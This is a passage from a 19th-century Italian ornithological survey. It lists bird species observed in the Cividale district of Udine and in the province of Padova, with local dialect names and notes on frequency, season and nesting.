Frequente e sedentario. Cova la sola femmina 8-12 uova per 25-26 giorni nel giugno; 27. Bonasa betulina, Francolin. Non raro e sedentario. Cova la sola femmina 8-13 uova, 20 giorni nel giugno. Lagopus mutus, Francolin blanch. Frequente e sedentario; 2. Rallus aquaticus, Giarègule. Comune, invernale e nidific.; 51. Ortygometra Porzana, Cuèrin. Comune ed estivo. Cova 8 uova nel maggio; 19. Ortygometra parva, Cuèrin pìzzul. Non sempre comune, di passo; 2. Crex pratensis, Re di Cuàje. Estivo e comune. Cova nel giugno 7-10 uova per 20-22 giorni; 53. Gallinula chloropus, Re di Giarègule. Frequente e sedentaria. Cova 10 uova nel maggio; 5. Fulica atra, Fòliyhe. Non comune, invernale, forse sedentaria. Cova 8-10 uova nel maggio; 2. Grus communis, Grùe. Accidentale. Otis Tarda. Accidentale nel gennaio 1887. Otis TetraX, Totanéll (?). Rara assai. Edicenemus scolopax, Clàme plòe, Durigàtt, Còu. Comune. Cova 4 uova per 15 giorni nel maggio la sola femm.; 1. Charadrius Pluvialis, Corridòr, Clàme plòe. Frequenti, invernale; 7. Squatarola helvetica, Tòtul. Piuttosto rara, invernale. Eudromias Morinellus, Corridòr pìzzul. Invernale. Ægialitis cantiana, Baulin, Vòli di bò (?). Scarso, sedentario. Covano per 15 giorni nel maggio 4 uova M. e F. Ægialitis Hiaticula, Pernìs di pràd. Frequenti di passo. Vanellus Capella, Pavoncìn. Comunissima ai due passi. Dubbiosamente nidificante; 3, Himantopus candidus. Non tanto raro. Pelidna subarquata. Assai raro. Pelidna alpina, Bisighin. Invernale e comunissimo. Actodromas minuta. Raro. Machetes Pugnax. Abbastanza frequente, invernale e di passo. Tringoides Hypoleucus. Non molto frequente, di passo. Totanus Ochropus, Pivuicc. Non raro e pare sedentario. Totanus Glareola, Piuùce pizzul. Frequenti, forse nidific.; 2. Totanus Calidris, Piuùce. Non rara, sedentaria. Scolopax Rusticula, Galinazze, Gialinazze falcazze. Comune. Cova 4 uova, la sola femmina in aprile e giugno; 545. Gallinago major, Crochète. Scarso, di passaggio; 4. Gallinago caelestis, Becanòtt. Frequenti, pare nidificante. Cova 4 uova la femm. in aprile-maggio per 16 giorni; 399. Gallinago Gallinula, Becanéle. Frequenti di passo; 205. Numenius Arquata, Arcàze. Invernale e frequenti. Numenius tenuirostris, Arcàzvil. Invernale e raro; 1. Glareola Pratincola. Accidentale. Sterna fluviatilis, Rondin di mar. Estiva e comune. Sternula minuta, Cisile di mar. Estivo, non raro. Hydrochelidon nigra, Cisile di mar. Abbastanza frequente; 2. Chroocephalus melanocephalus. Piuttosto comune; 2. Chroocephalus ridibundus, Cocàl. Assai frequente. Larus canus, Cocaline. Abbastanza frequente nel marzo e nel settembre. Stercorarius pomatorhinus. Di casuale comparsa. Colymbus arcticus. Rara ed invernale. Colymbus septentrionalis. Rara assai ed invernale. Podiceps cristatus. Non raro, forse nidificante; 1. Podiceps griseigena. Raro. Podiceps fluviatilis, Frisul. Comunissimo e nidificante. Co- vano M. e F. 4-6 uova per 21 giorni nel maggio; 2. Udine, distretto di Cividale (Del Torre nob. Francesco): Le osservazioni che comunico, si estendono per la maggior parte alla regione pedemontana e delle Prealpi, nonché ai monti più prossimi alle vallate del Natisone e dell’Isonzo superiore. Non comprendo in esse la regione piana, delle basse cosiddetta, ove regnano estesi prati e paludi. Più frequentemente che non convenga, si confonde la regione piana colla montana della nostra provincia, che se i confini naturali del Friuli per altri riguardi lo assimilino in una sola regione tanto piana come montana, nondimeno anche le flore, di cui finora m’occupai precipuamente, ne delimitano affatto i due aspetti diversi. La vallata del Natisone, con tutto il paese compreso fra questo e l’Isonzo, e massime la valle dell’Indrio ove presso Preposto, ad Albana, ho un luogo di villeggiatura, sono i punti ove io feci le poche osservazioni che qui espongo. Nella regione montana si parlano dialetti slavi, ed i nomi delle specie sono affatto diversi. Generalmente però i nostri contadini, ed i cacciatori stessi, non distinguono molto i nostri uccelli, chè eccettuate le specie più comuni di selvaggina o di uccelletti che si prendono alle reti, non curano le altre; così i diversi Falchi piccoli non vengono bene distinti e sono generalmente detti, *Falcuzz*, *Vidul*; e le grosse specie *Pojana*, *Cagnass*, ec. La regione delle nostre prealpi ove domina il terreno calcare magnesiaco, ricco di fenditure e di antri, e la marna e l’argilla nelle colline, è povero di fonti, e scarseggia in generale di siti umidi, poichè nonostante le frequenti piogge i fossati ben tosto si asciugano e talvolta si può percorrere lungo tratto senza trovar acqua. Boschi mancano quasi affatto, e gli alberi d’alto fusto, castagni e roveri, vanno mancando sempre più; le selve pure vengono sempre più devastate, e d’anno in anno si vanno sempre più mostrando le conseguenze del diboscamento. I monti più alti della valle del Natisone e generalmente tutta la catena delle Alpi Giulie presentano faccie nude di macigni ermi e desolati. Verso il piano le grandi estensioni di campi non sono interrotte da alcun albero d’alto fusto e fino i pioppi lungo i corsi d’acqua si fanno più scarsi. Il legname è caro da noi, e si rovina ogni cespuglio appena comincia ad avere qualche ramo da utilizzare.¹ Le grandi siepi che ¹ Passeggiando adesso lungo i boschi si vedono distintamente i nidi di Gazze, Ghiandaie ed altri uccelli, in posti ove una volta anche alla stagione presente, ove tutto è nudo, i rami erano fitti in modo da impedirne la vista. molti anni fa cingevano i campi sono scomparse affatto, sostituite da muri secchi. Il Friuli più occidentale, verso la Carnia, è più gaio; è però da me poco conosciuto non essendovi stato che ben poco. Da noi mancano le Conifere; i nostri monti più alti o sono nudi come dissi. O v'ha qualche boschetto di faggi; più basso sulle prealpi dominano le selve, ma in pochi luoghi sono fitte: lungo i burroni scavati dai torrentelli alpini, dominano assai i rovi, e là amano nascondersi diverse specie d'uccelli. Il canale del Fella è pure simigliante alla nostra regione; mentre invece in Carnia dominano i boschi d'abeti, e l'acqua è più abbondante, onde quasi tutte le pendici sono coperte di prati verdi e lussureggianti. Da noi mancano pure i luoghi acquitrinosi e paludosi, che si trovano nelle vicinanze di Fogliano ed in Centauris: e questi ristrettissimi spazii vanno pure soggetti al prosciugamento pei canalicoli praticativi. **Elenco delle specie di uccelli osservate nella provincia di Udine, distretto di Cividale, coi nomi volgari locali e notizie sulla frequenza, nidificazione, ecc.** *Corvus Corax*, *Corvatt*. Raro. Una coppia nidifica da assai lungo tempo in febbraio a Prestento in una parete di roccia; in montagna se ne vede alcuno tutto l'anno, scendono al piano sul principiare dell'inverno. *Corvus Corone*, *Core*. Nidifica sul Matajur nei cespugli di quelle rocce scoscese, scende al piano in stormi immemerevoli nell'autunno e nell'inverno. *Corvus Cornix*, *Core, Cornila, Cornile*. Frequenti tutto l'anno sui monti e nelle vallate montuose. *Corvus frugilegus*. Raro da noi certamente, io non ne ho veduti che pochi nelle mie escursioni. Lycos Monedula. Per quanto ho potuto raccogliere da informazioni, credo debba essere ben rara. Da noi nidifica sulla torre della chiesa di Aquileia. Nucifraga Caryocatactes, Fráche nòlis. Vive certamente in abbondanza ancora nelle vallate del Fella e del But in Carnìa, e vi nidifica; ma non si avvicina all’abitato che in inverno; ne uccisi quest’anno il 15 novembre ad Albana sull’Iudrio. Pica rustica, Badascule, Chèche. Comune e sedentaria. Garrulus glandarius, Giaje, Giaje mâte. Comune e sedentaria. Pyrrhocorax Graculus, Çuvrin, Çorin. Abbonda discretamente in Carnìa. Pyrrhocorax alpinus, Çuvrin, Çorin. Quest’anno (1888) è abbondantemente disceso al piano in novembre, quando ve n’erano sempre in vendita sul mercato, uccisi presso il paese. Nidifica ai monti tra i cespugli sulle rupi scoscese; abbonda ed è sedentario sul Matajur. Sturnus vulgaris, Sturnell. Frequentissimo in Cividale e nei villaggi vicini. Vi nidifica sui tetti. Pastor roseus. Qui da noi rarissimo certo. Fringilla coelebs, Franzell, Sfranzell. Comune e sedentario. Fringilla Montifringilla, Montán. Comune, nidifica ai monti. Passer Italiæ, Passerat, Passerott (i piccoli), o Passere dal becc grues. Comune, sedentaria. Passer montanus, Passere minude. Comune, sedentaria. Coccothraustes vulgaris, Frisott, Sfrisott. È al presente più raro che anni fa; sedentario. Ligurinus Chloris, Çirant, Semenzarul. Se ne vedono tutto l’anno sulle prealpi, frequenti assai in inverno al piano. Chrysomitrís Spinus, Lújar, Lujer. Comune, qualcuno nidifica. Carduelis elegans, Gardelin, (Gardel). Comune, sedentario. Serinus hortulanus, Sverzelin. Assai raro, ne uccisi e ne vidi da anni uno solo. Cannabina Linota, Faganell. Raro da noi. Pyrrhula europæa, Sivilott. Io ritengo che vi sieno le due forme; la più piccola si vede da noi solo nell’inverno ed ha sempre il becco insozzato di resina, la più grande si vede anche in primavera. **Loxia Curvirostra**, *Becc in cross*, *Becc stuart*. Fui assicurato dal sig. Riccardo Milesi che nidifica in Carnia, ed ebbi i giovani a Gorizia. **Euspiza melanocephala**, *Re d'Ortolan*. È raro. **Miliaria Projer**, *Sdrunàl*, *Sdárnali*, *Trentacingliris*. Comunissimo in pianura tutto l'anno nei campi, massime poi l'inverno. **Emberiza Citrinella**, *Smajàrd*. Comune e sedentario. **Emberiza Hortulana**, *Ortolan*. Era già più frequente sulle colline prossime a Cividale; vi nidifica. **Emberiza Cirlus**. Assai raro. **Emberiza Cia**, *Cipp*, *Zipp*. Trovasi tutto l'anno nei boschi montuosi. **Emberiza Schœniclus**, *Ciu*. Si vede al piano, ove è sedentario e nidificante. **Calcarius nivalis**, *Ortolan di montagne*, *Ortolan de nev*. Invernale e di rarissima comparsa. **Melanocorypha Calandra**, *Calandre*. Da noi si vede a piccoli branchetti tutto l'anno sulle colline, in piano più frequente l'inverno. **Alauda arborea**, *Calandrat*. Comune. **Alauda arvensis**, *Lódule*. Sedentaria. **Galerita cristata**, *Lódule Çhapelute* o *Çhapeluto*, *Lodi Çhapeplate*. Spessissimo sta lungo le strade maggiori perchè cerca nutrimento nello sterco dei cavalli; è sedentaria. **Anthus pratensis**, *U'ite*. Ne vidi in abbondanza lo scorso luglio in Carnia sui monti sopra Paluzza; comunissima ed in autunno assai abbondante al piano. **Anthus trivialis**, *Dòrdine*. Nidificante, ma non comune. **Anthus Spipoletta**, *U'tatt*. Ne vedo tutto l'anno in un sito acquitrinoso in piano detto Bocavizza. **Calobates melanope**, *Pastorele zale*. È abbastanza frequente da noi tutto l'anno e sedentaria. **Motacilla alba**, *Bándule*, *Codebándule*, *Pastorele blanche*, *Scassecode*. Comune e sedentaria. Saxicola Oenanthe, Culett. Lo vidi sul Matajur, ed è comune sui nostri prati alpini anche altrove. Monticola saxatilis, Codaross, Scodaross di montagne. Nidificante sulle nostre prealpi. Monticola Cyanus, Passer solitari. Rarissima da noi. Merula nigra, Merli, Merlott. Comune e sedentario. Merula torquata, Merli de golâine. Da noi manca, il sig. Riccardo Milesi lo vide in Carnia. Turdus pilaris, Zanevron, Zenevron. Invernale, forse sedentaria ai monti; ai primi di settembre la trovai abbondantissima sul Matajur, ove fui assicurato che alcuni rimangono tutto l'anno. Nidifica? Turdus iliacus, Sgrisul, Dordei pizzul. Sedentario sui monti ed invernale; ho veduto i nidiacei. Turdus musicus, Dordei. Nidifica sulle prealpi frequente. Turdus viscivorus, Dorde, Giardule, Sgardule. Sedentaria; se ne vedono alcune volte delle più grosse con colori più sbiaditi. Aëdon Luscinia, Rusignul. Estivo. Erithacus Rubecula, Serizz, Petaross, Pettiross. Comune sedentario, erratico nell'inverno. Cyanecula Wolfi, Petaross turchin. Accidentale, io ne uccisi uno solo, ma nessuno di qui lo conosceva; un altro lo ebbe il sig. Policarpo Candotti di Premariacco, è rarissimo. Ruticilla Phoenicurus, Scodaross. Comune, estivo. Ruticilla titys. Sedentario; nidifica ai monti. Pratincola Rubicola, Armentarutt. Sedentario. Pratincola Rubetra, Griset, Grisutt. Nidificante. Sylvia nisoria. Scarsa, estiva. Sylvia Curruca. Scarsa, estiva. Sylvia cinerea. Estiva, la più frequente; questa e le due precedenti diconsi Morâtule. Monachus Atricapillus, Caponeri. Divenne rara, tempo addietro si vedeva da noi più abbondante. Monachus hortensis, Becafigo, Papefig. Estivo. Phylloscopus sibilator, Uitt, ma da noi conosciuto più col nome di C'ù-Cam. Estivo, nidifica nei saliceti lungo l'Iudrio. Phylloscopus Trochilus. Estivo, nidifica sui salici. Phylloscopus Bonellii, Estivo e nidificante. Troglodytes parvulus, Favita. Sedentario. Cinclus aquaticus, Mierli d'aghe. Sedentario lungo l'Iudrio e il Natisone. Pone il suo nido in luoghi di difficile accesso, non vi va direttamente, ma si ferma a distanza e lo raggiunge nuotando o camminando. Accentor collaris, Passer solitari. Invernale e sedentario ai monti. Ne uccisi uno il 21 dicembre 1888, non si vede tutti gli anni. Accentor modularis, Charandine, Passere charandine. Comune. nidifica. Regulus cristatus, Repipiu. Nidifica ai monti, scende nell'inverno. Regulus ignicapillus, Repipiu. Sedentario. Acredula rosea, Parussule de code lungue, Muiniute. Sedentaria; fa il nido con bambagia di pioppo. Parus major, Parussule, Parussulatt. Frequent e sedentaria: trovai nel nido 12 e 16 piccini, mi venne detto che trovarsi anche 20. Parus ater, Parussule mate. Sedentaria. Cyanistes caeruleus, Parussulin. Sedentaria, nidifica ai boschi. Cyanistes cyaneus. Mi ricordo di averne visti presi da cacciatori alle panie colla Civetta, ed io stesso anni fa l'ho presa rare volte nell'istesso modo. Poecele palustris. Comune. Sitta cæsia, Rampighin. Frequent e discretamente esedentario. Certhia brachydactyla, Rampighin. Nidifica nei boschi; nell'inverno viene nei coltivi. Tichodroma muraria. Manca da noi; in Carnia lo vide spesso il sig. Riccardo Milesi. Oriolus Galbula, Luri, Lurli, Bècafigo. Nidificò vari anni di seguito nel mio orto di casa, da noi è comune ovunque in estate. Ampelis Garrulus. Nell'anno 1872 se ne presero molti a Cormons e qui in Cividale, (ne ebbimo dei vivi, non mangiavano che ginepro). **Lanius Excubitor**, *Giarle zimule*. Invernale, forse sedentaria. **Lanius minor**. Estiva. **Lanius Collurio**, *Giarle, Giarla, Garle*, (*Garlett* il piccolo). Estiva. **Hirundo rustica**, *Rondinele, Çisile*, (*Sisila*). Estiva. **Chelidon urbica**, *Rondin, Rondul, Çisilin*. Estivo. **Clivicola riparia**. Scarso. **Cotile rupestris**. Veduto sulle rupi di Prestento. **Cypselus Apus**. Comune assai ed estivo; nidifica in una torre che fa parte della nostra abitazione, in giugno. **Caprimulgus europaeus**, *Bochass, Bochass*. Estivo. **Dryocopus martius**, *Picc neri*. Da noi manca, il sig. Milesi mi disse che è frequente e sedentario in Carnia, specialmente presso Paluzza. **Picus major**, *Picc, Picott*. Frequent da noi nei boschi e nel piano in tutte le stagioni; nidificò in Albana nell'orto di casa in un vecchio pero nel luglio. **Gecinus viridis**, *Picc verd, Picott*. È assai frequente da noi e sedentario; i giovani volano in luglio. **Gecinus canus**. Confuso col precedente, ne ho uccisi diversi ch'io pure prima d'ora teneva per giovani del precedente, è abbastanza frequente e sedentario. **Iynx Torquilla**, *Furmiar, Cuel stuart*. Estivo. **Cuculus canorus**, *Cucc, Cuchucc*. Estivo. **Alcedo Ispida**, *Piombin*. È molto comune ovunque e sedentario da noi anche lungo i più piccoli corsi d'acqua. **Coracias Garrula**, *Giaje marine*. Molto rara. **Merops Apiaster**. Rarissimo, ne ebbi uno nel luglio 1885. **Upupa Epop**, *Uciell de bile creste*. Soltanto in primavera nei prati al largo; forse estiva. **Strix flammea**, *Çuite, Ciuite, Barbezuan*. Nidifica anche sul campanile del Duomo della città; sedentario. **Syrnium Aluco**, *Alocc*. Nidificante. **Asio accipitrinus**, *Catuss pizzul*. Non raro. **Asio Otus**. Sedentario. Athene Noctua. Sedentaria. Scops Giu, Catúss, Giù, Giucch. Estivo e comune. Bubo maximus, Barbezuan grand, Dug. Sedentario, erratico nell’inverno; nidifica ai monti. Circaëtus gallicus, Cagne. Nidifica ai nostri monti e ne ebbi i pulcini; è frequente in grandi stuoli alle epoche del passo; sarebbe anche sedentario. Archibuteo lagopus, Pojana, Pojane. Compare negli inverni rigidi, ne ebbi una nel febbraio 1886. Buteo vulgaris, Pojane, Cagne. Sedentaria, erratica d’inverno. Pernis apivorus. Accidentale. Falco Peregrinus, Falcon, Falcuzz. È raro. Hypotriorchis Subbuteo, Falcuzz. Raro. Cerchneis Tinnunculus, Falcuzz, Vidul. Nidifica in quantità ed è sedentario nelle rocce del Natisone e sulla torre del Duomo. Cerchneis vespertinus, Balarin, Vidul. Qualche coppia nidifica sui nostri monti, così sopra Brischis, però non è comune. Astur palumbarius, Cagne, Cagnass, Cagnasse. Di passo in primavera ed autunno. Accipiter Nisus, Sparvel, Falcuzz, Vidul. Sedentario. Gypaëtus barbatus. Il sig. Riccardo Milesi m’assicurò ch’esso è ben conosciuto in Carnia e distinto col nome germanico di Gamsgeier. Vultur Monachus. Ne furono uccisi in Carnia ed uno lo possiede anche il suddetto sig. Milesi nella sua raccolta. Gyps fulvus, Variul ? (Avariul ?). È frequente e nidificante, ne ebbi due uccisi l’anno scorso a Montefosca sopra Stupizza in luglio e ne vidi pure molti in Carnia, compariscono tosto ov’è una carogna. Ardea cinerea, Garze, Sgarze, Crotar. Invernale, di passo. Ardea purpurea, Airon, Crotar. Ne uccisi diversi in maggio. Egretta alba. Alle basse, vedesi di rado nell’autunno. Egretta Garzetta. Alle basse in primavera. Botaurus stellaris, Tarabus, Pecherots. Frequente alle basse, ne ebbi uno il 21 gennaio 1886. Nycticorax griseus, Sgarz cenerin. Viene ucciso di frequente in maggio. Ardetta minuta. Comunissimo in maggio, di solo passo. Ardeola ralloïdes. Di passaggio, specialmente in primavera. Ciconia alba. Ne vidi una uccisa ad Udine l'anno scorso: molti anni addietro, mi raccontava il padre mio, d'averne uccise frequentemente l'autunno lungo l'Iudrio, ora non si vede mai. Anser cinereus, Oche, (Ocie). Di passo in marzo. Anser segetum, Oche, Ocie. Vengono uccise in febbraio e marzo. Anas Boscas, Mazurin. Se ne vedono raramente d'inverno nel Natisone. Mareca Penelope, Ghoss. Non raro. Nettion Crecca, Cercégne. Frequente di passo in marzo. Querquedula Circia, Crecule. Frequente nel marzo. Mergus Merganser. Ne ebbe uno il sig. Candotti di Premariacco ucciso nel Natisone presso quel villaggio. Mergus Serrator. Ne vidi sul mercato ad Udine. Mergellus Albellus. Invernale. Columba Palumbus, Colomb de corone. Comune. Columba livia, Colomb salvadi. Sedentaria e nidificante tra le rupi in caverne. Turtur tenera, Tortorele. Nidificante nei boschi e sul Natisone tra le rocce. Perdix saxatillis, Cotór, Catórs. Sedentaria, diventa erratica nell'inverno; diminuisce. Starna Perdix, Pernis, Pernigot il giovane. Sedentaria, erratica nell'inverno. Coturnix communis. Comune e nidificante. Tetrao Urogallus, Giall Cedron. Nidifica sopra Paluzza in diversi punti in Carnia; abbastanza frequente ancora in quei boschi, ove è affatto sedentario; i pastori ed i loro cani fanno strage dei giovani. Lyrurus Tetrix, Giall forcell, Gialline forcelle la fem. Ne uccisi lo scorso agosto in Carnia sopra Paularo; vi è sedentario. Bonasa betulina, Francolin di bosc. È nidificante in Carnia. Lagopus mutus, Francolin blanc di mont. Ne vidi in Carnia quest'anno, abitano molto più in basso di quello che si crede. Ivi però è sedentario e ben difficilmente diviene erratico. **Rallus aquaticus.** Invernale e di passo. **Ortygometra Porzana.** Di passo specialmente in primavera. **Ortygometra parva.** Di passo primaverile. **Ortygometra Bailloni.** Di passo primaverile. **Gallinula chloropus.** Vedesi raramente in primavera. **Fulica atra.** Non comune, nidificante. **Crex pratensis.** Estivo e nidificante. **Otis Tarda.** Accidentale. **Otis Tetrax.** Accidentale. **Vanellus Capella.** Scarsa in autunno, abbondante in marzo. **Scolopax Rusticula.** Passa dal febbraio all'aprile e dal settembre al novembre; forse nidifica ai monti. **Gallinago major.** Passa in aprile e maggio, più scarso in agosto e settembre. **Gallinago caelestis.** Trovasi in febbraio e marzo ed è più comune in ottobre e novembre. **Gallinago Gallinula.** Assai raro in aprile ed ottobre. **Podiceps fluviatilis.** Scarso, ma sedentario. --- **Padova (Arrigoni degli Oddi conte Ettore):** **Elenco generale delle specie di uccelli che sono state osservate nella provincia di Padova, coi nomi volgari locali ed indicazioni sulla frequenza, ecc.** **Corvus Corax, Corvon de montagna.** Accidentale. **Corvus Corone, Gróla, Córvo.** È frequente. --- 1 Compilato dal conte Ettore Arrigoni degli Oddi di Padova ze- lante cultore della Ornitologia, il quale ha pubblicato molte notizie interessanti sull'Ornis del Padovano e formato una ricca collezione degli uccelli di quella provincia. Corvus Cornix, Gróla, Córvo, Cornácia, Grola zenerina. È comune, frequenta i luoghi acquitrinosi. Corvus frugilegus, Gróla, Córvo. È comune ovunque. Lycos Monedula. Accidentale, di comparsa irregolare. Nucifraga Caryocatactes. Accidentale. Pica rustica, Chéca, Gáza chéca, Gáza de la cóa longa. È più frequente al colle che al piano, sedentaria. Garrulus glandarius, Féra, Gáza féra, Gáza rabiosa. Comune tanto al piano che al colle, sedentaria. Pyrrhocorax alpinus. Accidentale. Sturnus vulgaris, Strìolo, Stornèlo, Strìulo. Comunissimo ovunque; anche sedentario. Pastor roseus. Accidentale. Fringilla cœlebs, Finco, Fringuèlo. Comune tanto al piano che al colle, sedentario. Fringilla Montifringilla, Finco montán, Montanélo. È comune. Petronia stulta, Sélega foresta, Sélega da la macia zala. È poco frequente, si tiene più al colle. Passer montanus, Sélega megiaróla, Megiaróla. È comunissima e sedentaria. Passer Italiæ, Sélegon, Sélega grossa, Becacópi. È comunissima e sedentaria. Passer domesticus. Accidentale. Coccothraustes vulgaris, Frísón, Sfrison. Ovunque comune, anche sedentario. Ligurinus Chloris, Schiaranto, Schiarante, Verdon, Zaranto. Ovunque comune, sedentario. Chloroptila Citrinella. Accidentale. Chrysomitrís Spinus, Lugarin. Comune, si tiene più al colle. Carduelis elegans, Gardelín, Cardelín. Comune, sedentario. Serinus hortulanus, Frisarin, Sverzerín. Abbastanza frequente. Cannabina Linota, Faganélo, Montanélo. Comunissimo. Ægiothus Linarius. Accidentale nell’autunno. Ægiothus rufescens. Accidentale nell’autunno. Carpodacus erythrinus. Accidentale. Loxia Curvirostra. Accidentale; dicesi capiti nell’autunno. Pyrrhula europæa, Finco subiòto. Poco frequente al colle. Euspiza melanocephala. Accidentale, anzi dubbioso. Miliaria Projer, Fistón, Strilózo, Petásso. Frequente, sedentario. È più abbondante nelle località paludose. Emberiza Citrinella, Squaiardóla, Ortolán zalo. È frequente forse più al colle, sedentario. Emberiza Cirlus, Cia, Zia, Sía, Piónsa mora. È poco frequente, predilige il colle. Emberiza Cia, Sía, Sióto. È poco frequente al colle. Emberiza Hortulana, Ortolan, Duraldí. È comune. Emberiza Scheniclus, Sélega palugána, Piónsa, Sía, Ziúto o Ciáto de palú. È comune specialmente nei luoghi acquitrinosi. Emberiza pyrrhuloides. Di comparsa irregolare e raro assai. Calcarius nivalis. Accidentale, di comparsa irregolare. Melanocorypha Calandra. Di comparsa irregolare. Calandrella brachydactyla, Calandrín, Berduáto o Lodolín foresto. È poco frequente, anzi quasi raro. Otocorys alpestris. Di comparsa irregolare e rara assai. Alauda arborea, Belluáto, Berduáto, Lodolín. È frequente anche al colle. Alauda arvensis, Lódola, Calandrión (♂), Odola, Alodóla. È comunissima e sedentaria. Galerita cristata, Capelúa, Capilúa, Capelúda. È comune e sedentaria. Agrodroma campestris, Gambalónga, Tordína foresta. È poco frequente. Corydalla Richardi. Accidentale. Anthus pratensis, Fista, Fistaréla. È comunissima. Anthus cervinus. Accidentale. Anthus trivialis, Tordína. È comune forse più al colle. Anthus Spipoletta, Fistízza. È comune specialmente in luoghi acquitrinosi. Budytes flavus, Boarína, Boarináto. È comune. Budytes cinereocapillus, Boarína, Boarináto. È comune nei luoghi acquitrinosi. Motacilla alba, Squasseróto, Coalónga, Batticóa, Scássola. È comune special. nei luoghi acquitrinosi e sedentaria. Calobates melanope, Sguassacóa, Batticóa zala. È frequente più specialmente nei luoghi acquitrinosi, sedentaria. Saxicola Oenanthe, Culbiánco, Zoparólo. È comune sul colle. Si incontra in piccolo numero anche nelle valli dell'estuario. Saxicola albicollis, Culbiánco, Culbianco foresto. È poco frequente. Saxicola Stapazina. È poco frequente. Monticola saxatilis, Coarussolón, Coarussolón foresto. È poco frequente al colle. Monticola Cyanus, Pássara, P. solitaria, Merlo foresto. È poco frequente al colle e sulla Rocca di Monselice. Merula nigra, Merlo, Merlo montagnólo (♂ non perfett. adulto), M. terragnólo. Merla (♀). È comunissimo, sedentario. Merula torquata. Di comparsa irregolare e rara. Turdus pilaris, Gazanèla. È comune. Turdus iliacus, Sisiún, Tordo cisilún, T. spinaról. È frequente. Turdus musicus, Tordo, Tordín, Tordo da úta. È più o meno comune secondo le annate. Turdus viscivorus, Gazáro, Tordo gazáro, Gazér. È frequente e sedentaria. Aëdon Luscinia, Usignólo, Rusignólo. È comune. Erithacus Rubecula, Béto, Petarélo, Petusséto, Petússo, Petiroso. È comune. Cyanecula Wolfi, Coárossa foresta. È poco frequente al colle. Cyanecula suecica. Accidentale. Calliope camtschatkensis, Accidentalissima. Ruticilla Phœnicurus, Coárossa, Squarúsola. È più comune al colle che al piano. Ruticilla titys, Coárosso moro. È abbastanza frequente al colle. Pratincola Rubicola, Batiàle, Favaréto. È comunissimo e sedentario. Pratincola Rubetra, Batiàle, Favaréto, B. foresto. È abbastanza frequente. Sylvia nisoria, Beccafigón, Bianchettón. È frequente specialmente nei luoghi acquitrinosi. Sylvia orphæa, Cuonero foresto, Bianchettón. Poco frequente. Sylvia cinerea, Bianchita, Canevarola, Caneto. È abbastanza frequente. Sylvia Curruca, Biancheta. È poco frequente. Sylvia subalpina. Accidentale. Monachus Atricapillus, Cuonero (♂). Cuorosso (♀). È comune nell'estate, forse sedentaria. Monachus hortensis, Becafico. È comunissimo, più specialmente al colle. Pyrophthalma melanocephala. Accidentale. Melizophilus undatus. Accidentale. Phylloscopus sibilator, Zaléto, Ciuin, Becafico, Zahéto. È comune. Phylloscopus Trochilus. È comune. Phylloscopus Bonellii, Ciuin, Zaléto. È poco frequente (?). Phylloscopus rufus, Ciuin, Tuin, Papamoschin, Zahéto. È comune. Hypolais icterina, Canevarola, Zaléto. È comune. Hypolais polyglotta, Canevarola, Zaléto. È comune. Acrocephalus palustris. Accidentale, anzi dubbiosa. Acrocephalus streperus, Canarola, Caneto, Foracanéle. È comune nei luoghi acquitrinosi. Acrocephalus arundinaceus, Silega palugana, Palugana, Fravétta, Canelón, Canevarolón. È molto comune nei luoghi acquitrinosi. Calamodus schœnobaenus, Risarolo, Caneto. È comune nei luoghi acquitrinosi. Calamodus aquaticus. Comune. Lusciniola melanopogon. Non tanto comune. Locustella nævia. Raro. Potamodus luscinioides. Rara, anzi dubbiosa. Cettia Cettii. Accidentale, dubbioso. Cisticola cursitans, Caneto, Czio de palu, Papamoschin. Sarebbe abbastanza frequente nei luoghi paludosi. Troglodytes parvulus, Roséto, Reséto, Galinazin. È comunissimo. Cinclus aquaticus. Di comparsa casuale. Accentor collaris. Assai raro. Accentor modularis, Moréta, Palugana, Silega palugana. È comune. Regulus cristatus, Stellín, Repipin, Oselín da la bela cresta. È più frequente al colle. Regulus ignicapillus, Stellín, Repipin. È comune. Ægithalus pendulinus, Pendolín. È frequente nei luoghi acquitrinosi. Acredula caudata. Rara. Acredula rosea, Ocio, Ocieto de bò, Coéta, Coalónga, Sperussolin. È comune e sedentaria. Panurus biarmicus, Organéto, Ussarín, Mustacín. È frequente in alcune località acquitrinose. Parus major, Parússola, Perússola, Sperussola, Cincicara, Beduina, Fuffignón, Finfignón. È comunissima e sedentaria. Parus ater, Parússola móra, P. tódesca, P. de monte. È abbastanza frequente; scarsamente però sedentaria. Cyanistes cæruleus, Parussoléta, Parussolín, Parussóla montagnola, Fratín. È comune e sedentaria. Pœcile palustris, Parússola mora, P. montagnóla, P. forésta. Poco frequente, sedentaria. Lophophanes cristatus. Accidentale. Sitta cæsia, Roegantín, Rovegantín, Rovegárolo. È comune forse più al colle; sedentario. Certhia brachydactyla, Roegantín macià. È poco frequente al colle e sedentario. Tichodroma muraria, Rampeghìn de monte, Ale de fógo, Becasássi. È poco frequente al colle. Oriolus Galbula, Miliésa, Barbapiéro, Megióra, Brúsola. È com. Ampelis Garrulus. Di comparsa accidentale. Lanius Excubitor, Regéstola lóra o falconiéra, Redéstola lóra o falconiéra, Redestolón. È abbastanza frequente e pare sedentaria. Lanius minor. Frequentè ed estiva. Lanius Collurio, Gavazúa, Cavazúa, Redéstola, Regéstola. È comune. Lanius auriculatus, Cavazúa, Sgavazúa, Redéstola o Regéstola bianca o foresta. È abbastanza frequente. Muscicapa collaris, Favaréto. Da notizie assunte poco frequente al colle (?). Io non la ho mai veduta. Muscicapa Atricapilla, Favaretto, Batiále moro, Becafico foresto. Abbastanza frequente. Butalis Grisola, Griséto, Batiále, Canéto, Risarálo. È frequente. Hirundo rustica, Rondine, Rondina, Sísila, Císila, Rondinéla. È comune. Hirundo rufula. Accidentale, anzi dubbiosa. Chelidon urbica, Rondín, Tartagín. È comunissimo. Clivicola riparia, Ronalín, Tartagín. È comunissimo. Cotile rupestris. Accidentale. Cypselus Apus, Rondón, Sbíro. È comunissimo. Cypselus Melba. Accidentale. Caprimulgus europaeus, Bocássa, Tetaváche. È comune. Picus major, Pigoséta, Batilégno. È comune e sedentario. Picus medius. Di comparsa casuale. Picus minor, Pigoséto. È poco frequente al colle e sedentario. Picoïdes tridactylus. Accidentale. Gecinus viridis, Pigosón, Spigosón. È comune e sedentario. Gecinus canus. Accidentale. Iýnx Torquilla, Caostórto, Storzicúllo. È comune, qualcuno sverna. Cuculus canorus, Cíco. È comune. Alcedo Ispida, Piombín, Osélo de la Madóna. È comune e sedentario lungo l’acqua. Merops Apiaster. Accidentale. Coracias Garrula. Accidentale. Upupa Epop, Úpupa, Galéto de monte, Bubú, Galéto mejarólo, Galéto de marzo. È comune. Strix flammea, Aloco, 